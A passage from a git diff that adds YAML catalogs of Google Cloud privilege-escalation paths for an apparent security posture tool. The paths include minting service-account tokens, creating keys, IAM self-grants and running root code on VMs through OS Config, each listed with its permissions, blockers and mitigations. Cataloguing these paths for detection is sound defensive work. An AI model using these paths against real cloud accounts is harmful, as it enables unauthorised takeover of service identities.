gcp-privilege-escalation/gcp-cluster-director-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: hypercomputecluster_cluster -> the SA on an inventoried running Slurm login VM explicitly named by an existing Cluster +# ("{target.host_resource}" = that Cluster). +- id: gcp-hypercomputecluster-login-node-startup-actas + provider: gcp + service: hypercomputecluster + title: Replace a cluster's login-node startup script to run as the login VM service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cluster-director-privesc.md#hypercomputeclusterclustersupdate--iamserviceaccountsactas--execute-a-login-node-startup-script-as-the-retained-vm-identity + source_revision: 171e422 + summary: The source can run a changed login-node startup script as the service account on a running VM explicitly listed by an existing Cluster Director cluster, when it can update that cluster and use that account. + requires: + all_of: + - action: hypercomputecluster.clusters.update + resource: '{target.host_resource}' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + attached_to_service: hypercomputecluster_cluster + gcp_actas_granted_on_target: true + scope: any + aggregate_as: Login-node SAs of Cluster Director clusters the source can update + conditions: + - id: login_nodes_exist + description: The cluster must be stable and list a running login VM whose exact Compute record names an enabled service account. + - id: access_scopes + description: The VM must have the cloud-platform OAuth scope so the service-account edge is not overstated; egress and target IAM still bound actual API use. + - id: disruptive + description: The update restarts all login nodes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/hypercomputecluster.editor and admin and grant Service Account User on login-node SAs only to operators. + notes: roles/hypercomputecluster.editor/admin carry clusters.update but not actAs; the live API rechecks actAs on the retained SA even though the update does not change identity. getAccessToken is not needed. + references: + - https://docs.cloud.google.com/cluster-director/docs/reference/rest/v1/projects.locations.clusters + - https://docs.cloud.google.com/cluster-director/docs/manage/modify-cluster diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/iam.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/iam.yaml new file mode 100644 index 0000000000..81f6f7cb80 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/iam.yaml @@ -0,0 +1,233 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP IAM / service-account impersonation privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-iam-privesc.md (rev 171e422). +# Conventions used across catalog/gcp/*.yaml (see SCHEMA EXTENSIONS in the GCP agent report): +# resource "{target.email}" -> the target service account (SA-level policy or project/folder/org inheritance). +# resource "*" + selector gcp_sa_in_scope_of_permission -> the permission must hold on the target SA's project (or an +# ancestor); deploy-with-actAs techniques are therefore modelled same-project only. +# resource "{target.host_resource}" -> (GCP use of the Azure placeholder) full resource name of the EXISTING resource +# (VM, function, Cloud Run service/job, environment, ...) that runs as the target SA; all +# requirements using it must cover that SAME resource (resource-level IAM or an ancestor). +# resource "{target.host_resource.content_storage}" -> the Cloud Storage bucket that the host resource loads and executes +# code from (Composer DAG bucket, function source bucket, App Engine staging bucket, ...). +# resource "{target.artifact_arn}" -> (GCP use) full resource name of an executable artifact (Artifact Registry repository, +# Cloud Storage object/bucket, source repository) later consumed by the target workload. +# selector attached_to_service: -> the target SA is the run-as identity of an existing resource of +# (GCP values: compute_instance, gke_nodepool, cloudfunctions_function, run_service, run_job, +# run_worker_pool, cloudbuild_trigger, composer_environment, dataflow_job, dataproc_cluster, +# cloudscheduler_job, workflows_workflow, appengine_version, notebooks_instance, +# workstations_config, workstations_workstation, dataform_repository, clouddeploy_target, +# integration_connector, sourcerepo_trigger_consumer, artifact_consumer). +# blocker {id: org_policy_constraint, constraint: } -> edge removed when that org-policy constraint is enforced on +# the target's project (not evaluated yet; reported as not evaluated). +# blocker vpc_sc_perimeter -> a VPC Service Controls perimeter around the target project may block the API calls. + +- id: gcp-iam-serviceaccounts-getaccesstoken + provider: gcp + service: iam + title: Mint OAuth access tokens for a service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsgetaccesstoken--impersonate-a-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.getAccessToken. + requires: + all_of: + - action: iam.serviceAccounts.getAccessToken + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.getAccessToken + scope: any + aggregate_as: "Service accounts the source can mint tokens for" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding (time, resource name) may limit when or for which SA the permission applies. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts, never at project/folder/org level. + references: + - https://cloud.google.com/iam/docs/service-account-permissions + notes: Works across projects; the token carries the full IAM permissions of the target SA. iam.serviceAccounts.get is only needed for discovery. + +- id: gcp-iam-serviceaccountkeys-create + provider: gcp + service: iam + title: Create or upload a user-managed key for a service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountkeyscreate--create-or-upload-a-durable-private-key + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccountKeys.create. + requires: + all_of: + - action: iam.serviceAccountKeys.create + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccountKeys.create + scope: any + aggregate_as: "Service accounts the source can create keys for" + conditions: + - id: key_creation_constraint + description: If iam.disableServiceAccountKeyCreation (or its managed iam.managed.* successor) is enforced, only the key-upload path remains, which iam.disableServiceAccountKeyUpload blocks. + blockers: + - gcp_deny_policy + - disabled_service_account + - {id: org_policy_constraint, constraint: iam.disableServiceAccountKeyCreation+iam.disableServiceAccountKeyUpload} + confidence: derived + severity: critical + mitigation: Enforce the key-creation and key-upload org policies and restrict roles/iam.serviceAccountKeyAdmin to specific SAs. + references: + - https://cloud.google.com/iam/docs/keys-create-delete + notes: The same permission authorizes both Google-generated key creation and public-key upload. The edge is blocked only when BOTH creation and upload are prevented by org policy; HackTricks notes the legacy boolean constraint can be superseded by the managed constraint, so evaluate the one actually enforced. + +- id: gcp-iam-serviceaccounts-implicitdelegation + provider: gcp + service: iam + title: Chain token minting through an intermediate service account via implicitDelegation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsimplicitdelegation--reach-a-service-account-through-a-delegation-chain + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts that a delegate chain can mint credentials for. The chain starts at a delegate SA on which the source holds iam.serviceAccounts.implicitDelegation, may continue through further implicitDelegation grants, and ends at SAs on which the last delegate holds getAccessToken, signBlob or signJwt. The delegates themselves are not reached. + requires: + all_of: + - action: iam.serviceAccounts.implicitDelegation + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_implicit_delegation_chain: true + scope: any + aggregate_as: "Service accounts reachable through implicitDelegation chains" + conditions: + - id: delegate_chain + description: Each edge records its delegate SAs as delegate: conditions. The final delegate must hold iam.serviceAccounts.getAccessToken, signBlob or signJwt on the target; implicitDelegation alone does not yield a delegate's own access token. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: derived + severity: critical + mitigation: Remove iam.serviceAccounts.implicitDelegation grants (roles/iam.serviceAccountTokenCreator) that are not strictly required, and remove token-minting grants held by service accounts that others can delegate through. + references: + - https://cloud.google.com/iam/docs/create-short-lived-credentials-delegated + notes: The selector follows implicitDelegation transitively (up to 10 hops) and targets only the SAs at the end of the chain. When the source also holds getAccessToken on a delegate (roles/iam.serviceAccountTokenCreator includes both permissions), the gcp-iam-serviceaccounts-getaccesstoken entry reaches the delegate itself. + +- id: gcp-iam-serviceaccounts-signblob + provider: gcp + service: iam + title: Sign arbitrary bytes (a JWT assertion) with a service account's Google-managed key + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssignblob--iamserviceaccountssignjwt--sign-an-assertion-and-exchange-it-for-tokens + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.signBlob. + requires: + all_of: + - action: iam.serviceAccounts.signBlob + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.signBlob + scope: any + aggregate_as: "Service accounts the source can sign as" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding may limit the grant. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts. + references: + - https://cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signBlob + notes: A signed self-issued assertion is exchangeable for an access token of the SA. + +- id: gcp-iam-serviceaccounts-signjwt + provider: gcp + service: iam + title: Sign a JWT with a service account's Google-managed key + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssignblob--iamserviceaccountssignjwt--sign-an-assertion-and-exchange-it-for-tokens + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.signJwt. + requires: + all_of: + - action: iam.serviceAccounts.signJwt + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.signJwt + scope: any + aggregate_as: "Service accounts the source can sign JWTs as" + conditions: + - id: iam_condition + description: An IAM Condition on the granting binding may limit the grant. + blockers: + - gcp_deny_policy + - disabled_service_account + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountTokenCreator only on specific service accounts. + references: + - https://cloud.google.com/iam/docs/reference/credentials/rest/v1/projects.serviceAccounts/signJwt + +- id: gcp-iam-serviceaccounts-setiampolicy + provider: gcp + service: iam + title: Rewrite a service account's IAM policy to self-grant impersonation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountssetiampolicy--grant-yourself-token-creation-access + source_revision: 171e422 + summary: The source can obtain the privileges of every service account on which it holds iam.serviceAccounts.setIamPolicy. + requires: + all_of: + - action: iam.serviceAccounts.setIamPolicy + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + resource_permission_covers_target: iam.serviceAccounts.setIamPolicy + scope: any + aggregate_as: "Service accounts whose IAM policy the source controls" + conditions: + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject the new binding when the source is an external principal. + blockers: + - gcp_deny_policy + - disabled_service_account + - {id: org_policy_constraint, constraint: iam.allowedPolicyMemberDomains+iam.managed.allowedPolicyMembers} + confidence: derived + severity: critical + mitigation: Restrict roles/iam.serviceAccountAdmin and roles/iam.securityAdmin; grant SA-level admin only to owners of that SA. + references: + - https://cloud.google.com/iam/docs/manage-access-service-accounts + notes: Also covers the iam.roles.create + iam.serviceAccounts.setIamPolicy variant (the custom role is unnecessary; the SA policy write is the escalation). + +- id: gcp-iam-roles-update-own-custom-role + provider: gcp + service: iam + title: Add permissions to a custom role bound to the source + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamrolesupdate--add-permissions-to-an-already-bound-custom-role + source_revision: 171e422 + summary: The source can obtain the privileges of the scope owner of every project/folder/org where a custom role it can update is bound to it. + requires: + all_of: + - action: iam.roles.update + resource: "*" + target: + kind: gcp_scope_owner + selector: + gcp_custom_role_bound_to_source: true + scope: any + aggregate_as: "Scopes where a source-bound custom role is editable" + conditions: + - id: add_permission_limits + description: The caller need not hold the added permission, but it must be supported in custom roles at that level (project-level roles cannot contain folder/org-only permissions, no wildcards), the role must be active (roles.update can also re-activate a disabled role), and any binding condition must hold. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Separate custom-role administration (roles/iam.roleAdmin) from principals bound to those roles. + references: + - https://cloud.google.com/iam/docs/creating-custom-roles + notes: The selector uses the scope of the source's recorded role binding and checks iam.roles.update on that exact collected custom role. Adding a supported IAM policy permission may then grant control of that binding scope. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/inframanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/inframanager.yaml new file mode 100644 index 0000000000..706d60723e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/inframanager.yaml @@ -0,0 +1,39 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Infrastructure Manager privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-infra-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-inframanager-deployments-create-actas + provider: gcp + service: config + title: Create an Infrastructure Manager deployment applied as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#configdeploymentscreate--iamserviceaccountsactas--apply-terraform-as-a-selected-service-account + source_revision: 171e422 + summary: The source can submit Terraform to a project-visible Infrastructure Manager location using an enabled service account with the Infra Manager Agent role, when it can create deployments there and act as that account. Cross-project accounts also need the documented service-agent grants and organization-policy setting. + requires: + all_of: + - action: config.deployments.create + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: inframanager_location + gcp_actas_granted_on_target: true + scope: any + aggregate_as: "Service accounts usable as Infrastructure Manager SA in {project}" + conditions: + - id: sa_config_agent + description: The enabled run-as SA must have an unconditional roles/config.agent binding in the deployment project. Cross-project use also requires the effective organization policy to allow it and the Infra Manager and Cloud Build service-agent grants. The submitted Terraform source must be valid. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Infrastructure Manager SAs; roles/config.admin lacks actAs but roles/editor has both. + references: + - https://cloud.google.com/infrastructure-manager/docs/access-control + - https://docs.cloud.google.com/infrastructure-manager/docs/configure-service-account + - https://docs.cloud.google.com/infrastructure-manager/docs/reference/rest/v1/projects.locations.deployments/create + notes: Updating an existing deployment (config.deployments.update) is the same class but not described by HackTricks. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/osconfig.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/osconfig.yaml new file mode 100644 index 0000000000..fd0c949546 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/osconfig.yaml @@ -0,0 +1,164 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP VM Manager / OS Config privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-osconfig-privesc.md and gcp-compute-privesc/README.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# The OS Config agent runs as root on the VM; no actAs on the VM's SA is needed (HackTricks). + +- id: gcp-osconfig-patchjobs-exec + provider: gcp + service: osconfig + title: Run root pre/post-patch steps on project VMs through an OS Config patch job + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigpatchjobsexec-or-patch-deployment-write---execute-a-privileged-patch-step + source_revision: 171e422 + summary: A one-shot patch job or a new or existing patch deployment can run a pre-patch executable on an eligible VM and expose its attached service account. + requires: + any_of: + - - action: osconfig.patchJobs.exec + resource: "{target.project}" + - - action: osconfig.patchDeployments.create + resource: "{target.project}" + - - action: osconfig.patchDeployments.update + resource: "{target.osconfig_patch_deployment}" + - - action: osconfig.patchDeployments.update + resource: "{target.osconfig_unknown_patch_deployment}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_osconfig_patch_job_path: true + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: agent_enabled + description: The VM must be running, patch-supported, have an active OS Config agent with full VM Manager patch processing enabled, an attached service account and service connectivity. Deployment updates need an existing usable deployment. + - id: executable_location + description: ExecStepConfig has no inline script; the pre/post-patch executable must be an existing local path or an exact Cloud Storage object generation readable by the VM, including a legitimately public object. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.patchJobExecutor, roles/osconfig.patchDeploymentAdmin and roles/osconfig.admin; disable VM Manager where not needed. + references: + - https://cloud.google.com/compute/docs/os-patch-management/create-patch-job + - https://docs.cloud.google.com/compute/docs/osconfig/rest/v1/projects.patchDeployments/patch + notes: No actAs on the VM SA is required (HackTricks, current at the reference revision). patchDeployments.create is the scheduled variant; also documented on gcp-compute-privesc/README.md#osconfigpatchdeploymentscreate--osconfigpatchjobsexec (former duplicate entry gcp-compute-osconfig-patchdeployments-create removed). + +- id: gcp-osconfig-ospolicyassignments-create + provider: gcp + service: osconfig + title: Run root code on project VMs through OS policy assignments + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigospolicyassignmentscreate-or-update---execute-an-inline-privileged-os-policy + source_revision: 171e422 + summary: Creating a zonal OS policy assignment, or patching an existing or new assignment with allowMissing, can run code on a matching active VM and expose its attached service account. + requires: + any_of: + - - action: osconfig.osPolicyAssignments.create + resource: "{target.osconfig_zone}" + - - action: osconfig.osPolicyAssignments.update + resource: "{target.osconfig_assignment}" + - - action: osconfig.osPolicyAssignments.update + resource: "{target.osconfig_unknown_assignment}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_osconfig_os_policy_assignment_path: true + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: agent_enabled + description: VM Manager must be enabled on the VM and the VM needs egress to the control plane; execution happens on the agent polling interval. + - id: update_existing_or_allow_missing + description: The update path can patch an existing assignment or create a named assignment with allowMissing=true. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.osPolicyAssignmentAdmin/Editor and roles/osconfig.guestPolicyAdmin. + references: + - https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/working-with-os-policies + - https://cloud.google.com/compute/docs/osconfig/rest/v1/projects.locations.osPolicyAssignments/patch + notes: OS policy assignments are zonal and exec resources accept inline scripts. Legacy guest policies are modelled by gcp-osconfig-guestpolicies-recipe and policy orchestrators by gcp-osconfig-policyorchestrators. + +- id: gcp-osconfig-guestpolicies-recipe + provider: gcp + service: osconfig + title: Run a root software-recipe script on project VMs through a legacy OS Config guest policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#legacy-guest-policy-write---run-an-inline-software-recipe-script + source_revision: 171e422 + summary: Creating a legacy guest policy with an inline recipe can run code on a matching active VM and expose its attached service account. An existing policy may also be updated, but recipe execution needs additional version and installation evidence. + requires: + any_of: + - - action: osconfig.guestPolicies.create + resource: "{target.project}" + - - action: osconfig.guestPolicies.update + resource: "{target.osconfig_guest_policy}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_osconfig_guest_policy_path: true + scope: same_project + aggregate_as: "SAs of OS Config-managed VMs in {project}" + conditions: + - id: legacy_feature + description: The matching VM must be running with enable-osconfig true, guestpolicies not disabled, full VM Manager features, a recent OS Config inventory report, an attached SA, and service connectivity. + - id: run_once + description: A recipe runs on policy creation. An update-only route needs an existing named policy and proof that a higher-version UPDATED recipe can run on the target VM. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/osconfig.guestPolicyAdmin/Editor and migrate off legacy guest policies. + references: + - https://docs.cloud.google.com/compute/vm-manager/docs/guest-policies/create-guest-policy + notes: No actAs, SSH or metadata permission is needed. Native evidence can support the create route. An update-only route stays unresolved without proof that the existing recipe was installed and can run a higher-version UPDATED step. + +- id: gcp-osconfig-policyorchestrators + provider: gcp + service: osconfig + title: Propagate a root OS policy to VMs across projects with an OS Config policy orchestrator + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#osconfigpolicyorchestratorscreate-or-update---propagate-a-privileged-policy-across-projects-and-zones + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service accounts attached to OS Config-managed VMs in every project under the project, folder or organization where it can create or update policy + orchestrators. + requires: + any_of: + - - action: osconfig.policyOrchestrators.create + resource: '{target.osconfig_orchestrator_parent}' + - - action: osconfig.policyOrchestrators.update + resource: '{target.osconfig_orchestrator}' + - - action: osconfig.policyOrchestrators.update + resource: '{target.osconfig_unknown_orchestrator}' + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_osconfig_policy_orchestrator_path: true + scope: any + aggregate_as: SAs of OS Config-managed VMs under the orchestrator parent + conditions: + - id: service_agents + description: The OS Config, OS Config rollout and Progressive Rollout service agents of the parent must exist with their service-agent roles; folder/organization calls need a billing-enabled quota project + and serviceusage.services.use. + - id: update_variant + description: With osconfig.policyOrchestrators.update the reach is limited to the selectors and filters of the existing orchestrators (which the source can rewrite). + - id: agent_enabled + description: Each target VM still needs the GA OS-policy prerequisites (active agent, attached SA, connectivity) and must match the selectors and filters. + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict roles/osconfig.policyOrchestratorAdmin and roles/osconfig.admin at folder and organization level. + references: + - https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/use-policy-orchestrator + - https://docs.cloud.google.com/compute/vm-manager/docs/os-policies/orchestrator-prerequisites + notes: Creation is checked on the actual project, folder, or organization orchestrator parent, and update on an exact existing orchestrator. Reconciliation reapplies the assignment every six hours. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/pam.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/pam.yaml new file mode 100644 index 0000000000..915f102ce6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/pam.yaml @@ -0,0 +1,8 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Privileged Access Manager privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-pam-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Proposed selector gcp_pam_entitlement_requester (not yet in schema.py): the source is a requester principal (directly or +# through group membership) of a PAM entitlement on {target.scope} whose role bindings give IAM control of that scope. +# Requesters need no IAM/PAM permission; PAM rejects self-approval, so approval workflows are a condition. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/parametermanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/parametermanager.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/parametermanager.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/privatecatalog.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/privatecatalog.yaml new file mode 100644 index 0000000000..d291873801 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/privatecatalog.yaml @@ -0,0 +1,38 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Service Catalog (formerly Private Catalog) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-private-catalog-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +- id: gcp-privatecatalog-product-version-poison + provider: gcp + service: cloudprivatecatalogproducer + title: Replace a shared Service Catalog solution version + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#cloudprivatecatalogproducerproductsupdate--poison-an-existing-deployable-solution-version + source_revision: 171e422 + summary: The source can update an exact shared Deployment Manager solution version. A consumer deployment could use a Google APIs Service Agent with project IAM authority the source lacks; other sensitive agent permissions remain unresolved until their template path is verified. + requires: + all_of: + - action: cloudprivatecatalogproducer.products.update + resource: '{target.host_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_privatecatalog_dm_iam_path: true + scope: any + outcome: bounded_authority + aggregate_as: Project IAM control possible through shared Service Catalog solutions + conditions: + - id: consumer_deploys + description: A consumer must explicitly preview, deploy or update the poisoned version in their project; nothing runs at update time. + - id: attached_catalog + description: The product must already be attached to a catalog associated with the consumer hierarchy, and the modified asset must pass validation. + - id: deployment_manager_only + description: This path covers validated Deployment Manager versions; Terraform versions use a different execution identity. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudprivatecatalogproducer editor/admin roles and review solution versions before consumers deploy them. + references: + - https://docs.cloud.google.com/service-catalog/docs/create-solutions + notes: This path is limited to the consumer project IAM permission verified on its Google APIs Service Agent; it does not imply possession of that agent's credentials or automatic deployment. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml new file mode 100644 index 0000000000..a0818f7baf --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml @@ -0,0 +1,1836 @@ +# GCP resource IAM self-grants. Every entry requires a concrete policy-write action. Artifact Registry, Secret Manager, Cloud KMS, Compute disks, and Pub/Sub also model prospective grants on inventoried resources when current access and policy blockers are checked. Other entries may require typed reviewed evidence of a new effective permission on an exact resource. A policy write alone, or a mere data read, never creates a named path. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-artifactregistry-repositories-setiampolicy-repository-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: artifactregistry + title: Self-grant upload access to an Artifact Registry repository + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistryrepositoriessetiampolicy--self-grant-control-of-a-repository + source_revision: 171e422 + summary: The source can change an inventoried repository's IAM policy to grant itself upload access on that repository when it lacks that permission. + requires: + all_of: + - action: artifactregistry.repositories.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - artifactregistry.repositories.uploadArtifacts + aggregate_as: Repository upload access the source could grant itself + conditions: + - id: exact_repository_policy + description: Requires an inventoried standard repository, policy-write authority on that repository, and no current upload grant; incomplete IAM, group, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict artifactregistry.repositories.setIamPolicy on repositories with sensitive artifacts or trusted consumers and review self-directed IAM policy changes. + notes: A repository Writer role can be granted on one repository. The path is conditional until the IAM mutation succeeds; a reviewed accepted mutation can provide direct evidence. +- id: gcp-connectors-connections-setiampolicy-connection-self-grant + provider: gcp + service: connectors + title: Self-grant connectors.connections.executeSqlQuery on a connection + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-integration-connectors-privesc.md#connectorsconnectionssetiampolicy--resource-level-self-grant-to-use-a-connection + source_revision: a1de13ac34 + summary: A principal with connectors.connections.setIamPolicy on an exact active connection can grant itself + the Connector Invoker role and gain a connection-use permission it did not already have. + requires: + all_of: + - action: connectors.connections.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - connectors.connections.executeSqlQuery + aggregate_as: Verified connection self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires either complete source-bound evidence of an accepted self-grant or a unique active connection + with collected IAM policy, role, prior-access, and policy-write facts. The inferred path remains conditional. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict connectors.connections.setIamPolicy on protected connection resources and review self-directed IAM + policy changes. + notes: The policy write alone does not create a path. The gcp_resource_self_grant_evidence record must prove this exact + permission gain for the acting principal on GrantedResource. +- id: gcp-compute-machineimages-setiampolicy-machine-image-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Self-grant compute.machineImages.useReadOnly on a machine image + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computemachineimagessetiampolicy + source_revision: a1de13ac34 + summary: The source may grant itself compute.machineImages.useReadOnly on an exact ready machine image when it can safely update that image's IAM policy and did not already have the permission. + requires: + all_of: + - action: compute.machineImages.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.machineImages.useReadOnly + aggregate_as: Machine image read-only use the source could grant itself + conditions: + - id: exact_machine_image_policy + description: The exact ready machine image and its IAM policy are collected, the source can get and set that policy, and roles/compute.admin can add a new useReadOnly permission. A reviewed accepted mutation remains another proof route. + - id: reconstruction + description: Reconstructing data from the machine image needs separate VM or disk creation, any required CMEK access, and a usable service-account choice. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict 